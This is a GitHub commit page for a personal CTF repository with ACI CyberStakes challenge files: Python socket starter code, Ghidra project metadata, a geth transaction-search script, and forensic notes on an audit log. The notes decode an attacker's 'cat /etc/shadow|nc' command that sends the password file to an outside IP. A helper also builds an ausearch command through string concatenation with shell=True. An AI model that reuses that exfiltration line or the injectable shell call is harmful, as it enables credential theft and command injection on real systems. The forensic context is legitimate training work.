Skip to content

Commit 2e487aa

Browse files
benhunterbenhunter
committed
Add ACI CTF, HTB, reorganize
1 parent fd79a81 commit 2e487aa

File tree

4,360 files changed

+698664
-0
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

4,360 files changed

+698664
-0
lines changed

‎CTF.ctb

744 KB
Binary file not shown.

‎CTF.ctb~

740 KB
Binary file not shown.

‎CTF.ctb~~

732 KB
Binary file not shown.

‎CTF.ctb~~~

732 KB
Binary file not shown.

‎acictf/All Your Base/code.py

+67
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,67 @@
1+
#!/usr/bin/python3
2+
import argparse
3+
import socket
4+
5+
# 'argparse' is a very useful library for building python tools that are easy
6+
# to use from the command line. It greatly simplifies the input validation
7+
# and "usage" prompts which really help when trying to debug your own code.
8+
# parser = argparse.ArgumentParser(description="Solver for 'All Your Base' challenge")
9+
# parser.add_argument("ip", help="IP (or hostname) of remote instance")
10+
# parser.add_argument("port", type=int, help="port for remote instance")
11+
# args = parser.parse_args();
12+
13+
# This tells the computer that we want a new TCP "socket"
14+
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
15+
16+
# This says we want to connect to the given IP and port
17+
sock.connect(("challenge.acictf.com", 52062))
18+
19+
# This gives us a file-like view for receiving data from the connection which
20+
# makes handling messages from the server easier since it handles the
21+
# buffering of lines for you. Note that this only helps us on receiving data
22+
# from the server and we still need to send data over the underlying socket
23+
# (i.e. `sock.send(...)` at the end of the loop below).
24+
f = sock.makefile()
25+
26+
while True:
27+
line = f.readline().strip()
28+
if len(line) > 1 and line[0] == '-':
29+
break
30+
31+
# This iterates over data from the server a line at a time. This can
32+
# cause some unexpected behavior like not seeing "prompts" until after
33+
# you've sent a reply for it (for example, you won't see "answer:" for
34+
# this problem). However, you can still "sock.send" below to transmit data
35+
# and the server will handle it correctly.
36+
37+
# Handle the information from the server to extact the problem and build
38+
# the answer string.
39+
# pass # Fill this in with your logic
40+
# A good starting point for approaching the problem:
41+
# 1) Identify and capture the text of each question (the "----" lines
42+
# should be useful for this).
43+
# 2) Extract the three primary parts of each question:
44+
# a) The source encoding
45+
# b) The destination encoding
46+
# c) The source data
47+
# 3) Convert the source data to some "standard" encoding (like 'raw')
48+
# 4) Convert the "standardized" data to the destination encoding
49+
50+
while True:
51+
line = f.readline().strip().split()
52+
print(line)
53+
54+
encode = line[0]
55+
decode = line[2]
56+
print(encode, decode)
57+
58+
if
59+
60+
61+
62+
# Send a response back to the server
63+
# answer = "Clearly not the answer..."
64+
# sock.send((answer + "\n").encode()) # The "\n" is important for the server's
65+
# interpretation of your answer, so make
66+
# sure there is only one sent for each
67+
# answer.

‎acictf/All Your Base/starter_code.py

+64
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,64 @@
1+
#!/usr/bin/python3
2+
import argparse
3+
import socket
4+
5+
# 'argparse' is a very useful library for building python tools that are easy
6+
# to use from the command line. It greatly simplifies the input validation
7+
# and "usage" prompts which really help when trying to debug your own code.
8+
parser = argparse.ArgumentParser(description="Solver for 'All Your Base' challenge")
9+
parser.add_argument("ip", help="IP (or hostname) of remote instance")
10+
parser.add_argument("port", type=int, help="port for remote instance")
11+
args = parser.parse_args();
12+
13+
# This tells the computer that we want a new TCP "socket"
14+
sock = sock.socket(socket.AF_INET, socket.SOCK_STREAM)
15+
16+
# This says we want to connect to the given IP and port
17+
sock.connect((args.ip, args.port))
18+
19+
# This gives us a file-like view for receiving data from the connection which
20+
# makes handling messages from the server easier since it handles the
21+
# buffering of lines for you. Note that this only helps us on receiving data
22+
# from the server and we still need to send data over the underlying socket
23+
# (i.e. `sock.send(...)` at the end of the loop below).
24+
f = sock.makefile()
25+
26+
while True:
27+
line = f.readline().strip()
28+
# This iterates over data from the server a line at a time. This can
29+
# cause some unexpected behavior like not seeing "prompts" until after
30+
# you've sent a reply for it (for example, you won't see "answer:" for
31+
# this problem). However, you can still "sock.send" below to transmit data
32+
# and the server will handle it correctly.
33+
34+
# Handle the information from the server to extact the problem and build
35+
# the answer string.
36+
pass # Fill this in with your logic
37+
# A good starting point for approaching the problem:
38+
# 1) Identify and capture the text of each question (the "----" lines
39+
# should be useful for this).
40+
# 2) Extract the three primary parts of each question:
41+
# a) The source encoding
42+
# b) The destination encoding
43+
# c) The source data
44+
# 3) Convert the source data to some "standard" encoding (like 'raw')
45+
# 4) Convert the "standardized" data to the destination encoding
46+
47+
# Send a response back to the server
48+
answer = "Clearly not the answer..."
49+
sock.send((answer + "\n").encode()) # The "\n" is important for the server's
50+
# interpretation of your answer, so make
51+
# sure there is only one sent for each
52+
# answer.
53+
54+
55+
'''
56+
Formatting key:
57+
raw = the unencoded ASCII string (contains only printable characters
58+
that are not whitespace)
59+
b64 = standard base64 encoding (see 'base64' unix command)
60+
hex = hex (base 16) encoding (case insensitive)
61+
dec = decimal (base 10) encoding
62+
oct = octal (base 8) encoding
63+
bin = binary (base 2) encoding (should consist of ASCII '0' and '1')
64+
'''

‎acictf/All-Army CyberStakes 4 - Scoreboards Officer.pdf

76.3 KB
Binary file not shown.

‎acictf/All-Army CyberStakes 4 - Scoreboards.pdf

78 KB
Binary file not shown.

‎acictf/Can You Look This Over/backdoor.tar.gz

1.14 MB
Binary file not shown.

‎acictf/Hacker Scan Thyself/Ghidra/Hacker Scan Thyself.gpr

Whitespace-only changes.

‎acictf/Hacker Scan Thyself/Ghidra/Hacker Scan Thyself.rep/idata/00/00000000.prp

+11
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<FILE_INFO>
3+
<BASIC_INFO>
4+
<STATE NAME="CONTENT_TYPE" TYPE="string" VALUE="Program" />
5+
<STATE NAME="PARENT" TYPE="string" VALUE="/" />
6+
<STATE NAME="FILE_ID" TYPE="string" VALUE="c0a8a41d3fd232407104673700" />
7+
<STATE NAME="FILE_TYPE" TYPE="int" VALUE="0" />
8+
<STATE NAME="READ_ONLY" TYPE="boolean" VALUE="false" />
9+
<STATE NAME="NAME" TYPE="string" VALUE="scanner" />
10+
</BASIC_INFO>
11+
</FILE_INFO>

‎acictf/Hacker Scan Thyself/Ghidra/Hacker Scan Thyself.rep/idata/00/~00000000.db/db.2.gbf

1.67 MB
Binary file not shown.

‎acictf/Hacker Scan Thyself/Ghidra/Hacker Scan Thyself.rep/idata/00/~00000000.db/db.3.gbf

1.81 MB
Binary file not shown.

‎acictf/Hacker Scan Thyself/Ghidra/Hacker Scan Thyself.rep/idata/~index.bak

+5
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
VERSION=1
2+
/
3+
00000000:scanner:c0a8a41d3fd232407104673700
4+
NEXT-ID:1
5+
MD5:d41d8cd98f00b204e9800998ecf8427e

‎acictf/Hacker Scan Thyself/Ghidra/Hacker Scan Thyself.rep/idata/~index.dat

+5
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
VERSION=1
2+
/
3+
00000000:scanner:c0a8a41d3fd232407104673700
4+
NEXT-ID:1
5+
MD5:d41d8cd98f00b204e9800998ecf8427e

‎acictf/Hacker Scan Thyself/Ghidra/Hacker Scan Thyself.rep/project.prp

+6
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<FILE_INFO>
3+
<BASIC_INFO>
4+
<STATE NAME="OWNER" TYPE="string" VALUE="ben" />
5+
</BASIC_INFO>
6+
</FILE_INFO>

‎acictf/Hacker Scan Thyself/Ghidra/Hacker Scan Thyself.rep/projectState

+15
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<PROJECT>
3+
<PROJECT_DATA_XML_NAME NAME="DISPLAY_DATA">
4+
<SAVE_STATE>
5+
<ARRAY NAME="EXPANDED_PATHS" TYPE="string">
6+
<A VALUE="Hacker Scan Thyself:" />
7+
</ARRAY>
8+
<STATE NAME="SHOW_TABLE" TYPE="boolean" VALUE="false" />
9+
</SAVE_STATE>
10+
</PROJECT_DATA_XML_NAME>
11+
<TOOL_MANAGER ACTIVE_WORKSPACE="Workspace">
12+
<WORKSPACE NAME="Workspace" ACTIVE="true" />
13+
</TOOL_MANAGER>
14+
</PROJECT>
15+

‎acictf/Hacker Scan Thyself/Ghidra/Hacker Scan Thyself.rep/user/~index.dat

+4
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
VERSION=1
2+
/
3+
NEXT-ID:0
4+
MD5:d41d8cd98f00b204e9800998ecf8427e

‎acictf/Hacker Scan Thyself/Ghidra/Hacker Scan Thyself.rep/versioned/~index.bak

+4
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
VERSION=1
2+
/
3+
NEXT-ID:0
4+
MD5:d41d8cd98f00b204e9800998ecf8427e

‎acictf/Hacker Scan Thyself/Ghidra/Hacker Scan Thyself.rep/versioned/~index.dat

+4
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
VERSION=1
2+
/
3+
NEXT-ID:0
4+
MD5:d41d8cd98f00b204e9800998ecf8427e

‎acictf/Hacker Scan Thyself/scanner

9.32 KB
Binary file not shown.

‎acictf/I SEe You/audit.log.gz

1.48 MB
Binary file not shown.

‎acictf/I SEe You/audit.py

+8
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
2+
3+
def read_audit(before, now, user):
4+
auparam = " -sc EXECVE"
5+
cmd = "ausearch -ts " + before.strftime('%H:%M:%S') + " -te " + now.strftime('%H:%M:%S') + " -ua " + user + auparam
6+
p = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)
7+
res = p.stdout.read().decode()
8+
return res

‎acictf/I SEe You/notes.sh

+56
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,56 @@
1+
IPv4 search:
2+
3+
infinite@conan:/mnt/c/Users/ben/Downloads/ACI CTF/I SEe You$ grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" audit.log | sort | uniq
4+
10.0.2.15
5+
10.0.2.2
6+
2.4.17.1
7+
8+
9+
IPv6 search:
10+
11+
infinite@conan:/mnt/c/Users/ben/Downloads/ACI CTF/I SEe You$ grep -Eo "(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))
12+
" audit.log | sort | uniq
13+
08:b2:eb:19:9e:e4:5c:1a
14+
2f:b5:f3:58:68:e7:72:c3
15+
36:75:1a:f9:03:8b:12:1c
16+
69:29:34:e0:54:e9:cd:e7
17+
7a:d8:bf:c1:2b:8d:21:28
18+
7b:6a:6b:87:f7:55:4c:75
19+
9c:ea:4c:00:a1:01:8d:57
20+
A256:0c:9e:32:24:42:3b:8b
21+
A256:2a:06:4b:d9:88:d1:70
22+
A256:60:dd:06:63:7a:41:b8
23+
A256:ac:fe:16:95:e2:b3:17
24+
A256:d4:ce:11:ce:13:32:5a
25+
aa:70:c7:fc:b7:89:60:3a
26+
bb:88:3d:91:86:9a:ae:39
27+
c0:9b:94:6e:35:89:75:9e
28+
d4:ab:7b:9e:3a:3a:ac:85
29+
da:a1:26:2b:85:a9:fa:eb
30+
e1:52:ff:ce:ae:3d:8f:dc
31+
ee:02:11:96:aa:6a:c3:d8
32+
f3:75:41:ee:7c:75:62:d1
33+
34+
35+
Checking for interesting syscalls
36+
37+
$ ausyscall --dump
38+
infinite@conan:/mnt/c/Users/ben/Downloads/ACI CTF/I SEe You$ ausearch -if audit.log -sc 49
39+
----
40+
time->Tue Nov 19 03:30:54 2019
41+
type=PROCTITLE msg=audit(1574163054.175:4519): proctitle=61757472616365002F62696E2F707974686F6E33007365727665722E7079
42+
type=SOCKADDR msg=audit(1574163054.175:4519): saddr=02000050000000000000000000000000
43+
type=SYSCALL msg=audit(1574163054.175:4519): arch=c000003e syscall=49 success=yes exit=0 a0=3 a1=7ffeac0bd9b0 a2=10 a3=2 items=0 ppid=2626 pid=2628 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=2 comm="python3" exe="/usr/bin/python3.6" subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 key=(null)
44+
45+
Noticed around same time:
46+
47+
type=EXECVE msg=audit(1574163090.007:46336): argc=3 a0="/bin/sh" a1="-c" a2=636174202F6574632F736861646F777C6E632034342E36382E3133392E3234312033333333
48+
type=CWD msg=audit(1574163090.007:46336): cwd="/vagrant/website"
49+
type=PATH msg=audit(1574163090.007:46336): item=0 name="/bin/sh" inode=100737155 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:shell_exec_t:s0 objtype=NORMAL cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0
50+
type=PATH msg=audit(1574163090.007:46336): item=1 name="/lib64/ld-linux-x86-64.so.2" inode=6204 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:ld_so_t:s0 objtype=NORMAL cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0
51+
type=PROCTITLE msg=audit(1574163090.007:46336): proctitle=2F62696E2F707974686F6E33007365727665722E7079
52+
53+
54+
CyberChef https://gchq.github.io/CyberChef/#recipe=From_Hex('Auto')&input=NjM2MTc0MjAyRjY1NzQ2MzJGNzM2ODYxNjQ2Rjc3N0M2RTYzMjAzNDM0MkUzNjM4MkUzMTMzMzkyRTMyMzQzMTIwMzMzMzMzMzM
55+
56+
cat /etc/shadow|nc 44.68.139.241 3333

‎acictf/Kids on the block/__wallet_sol_Wallet.abi

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
[{"inputs":[],"name":"deposit","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"getBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address payable","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}]

‎acictf/Kids on the block/chain.tar.gz

135 KB
Binary file not shown.

‎acictf/Kids on the block/exploregeth.js

Whitespace-only changes.

‎acictf/Kids on the block/getTransactionsByAccount.js

+36
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
function getTransactionsByAccount(myaccount, startBlockNumber, endBlockNumber) {
2+
if (endBlockNumber == null) {
3+
endBlockNumber = eth.blockNumber;
4+
console.log("Using endBlockNumber: " + endBlockNumber);
5+
}
6+
if (startBlockNumber == null) {
7+
startBlockNumber = endBlockNumber - 1000;
8+
console.log("Using startBlockNumber: " + startBlockNumber);
9+
}
10+
console.log("Searching for transactions to/from account \"" + myaccount + "\" within blocks " + startBlockNumber + " and " + endBlockNumber);
11+
12+
for (var i = startBlockNumber; i <= endBlockNumber; i++) {
13+
if (i % 1000 == 0) {
14+
console.log("Searching block " + i);
15+
}
16+
var block = eth.getBlock(i, true);
17+
if (block != null && block.transactions != null) {
18+
block.transactions.forEach( function(e) {
19+
if (myaccount == "*" || myaccount == e.from || myaccount == e.to) {
20+
console.log(" tx hash : " + e.hash + "\n"
21+
+ " nonce : " + e.nonce + "\n"
22+
+ " blockHash : " + e.blockHash + "\n"
23+
+ " blockNumber : " + e.blockNumber + "\n"
24+
+ " transactionIndex: " + e.transactionIndex + "\n"
25+
+ " from : " + e.from + "\n"
26+
+ " to : " + e.to + "\n"
27+
+ " value : " + e.value + "\n"
28+
+ " time : " + block.timestamp + " \n" // + new Date(block.timestamp * 1000).toGMTString() + "\n"
29+
+ " gasPrice : " + e.gasPrice + "\n"
30+
+ " gas : " + e.gas + "\n"
31+
+ " input : " + e.input);
32+
}
33+
})
34+
}
35+
}
36+
}

‎acictf/Kids on the block/geth_data_dir/geth/LOCK

Whitespace-only changes.

‎acictf/Kids on the block/geth_data_dir/geth/chaindata/000048.ldb

197 Bytes
Binary file not shown.

‎acictf/Kids on the block/geth_data_dir/geth/chaindata/000049.log

Whitespace-only changes.

‎acictf/Kids on the block/geth_data_dir/geth/chaindata/000051.ldb

156 KB
Binary file not shown.

‎acictf/Kids on the block/geth_data_dir/geth/chaindata/CURRENT

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
MANIFEST-000050

‎acictf/Kids on the block/geth_data_dir/geth/chaindata/CURRENT.bak

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
MANIFEST-000047

‎acictf/Kids on the block/geth_data_dir/geth/chaindata/LOCK

Whitespace-only changes.

0 commit comments

Comments
 (0)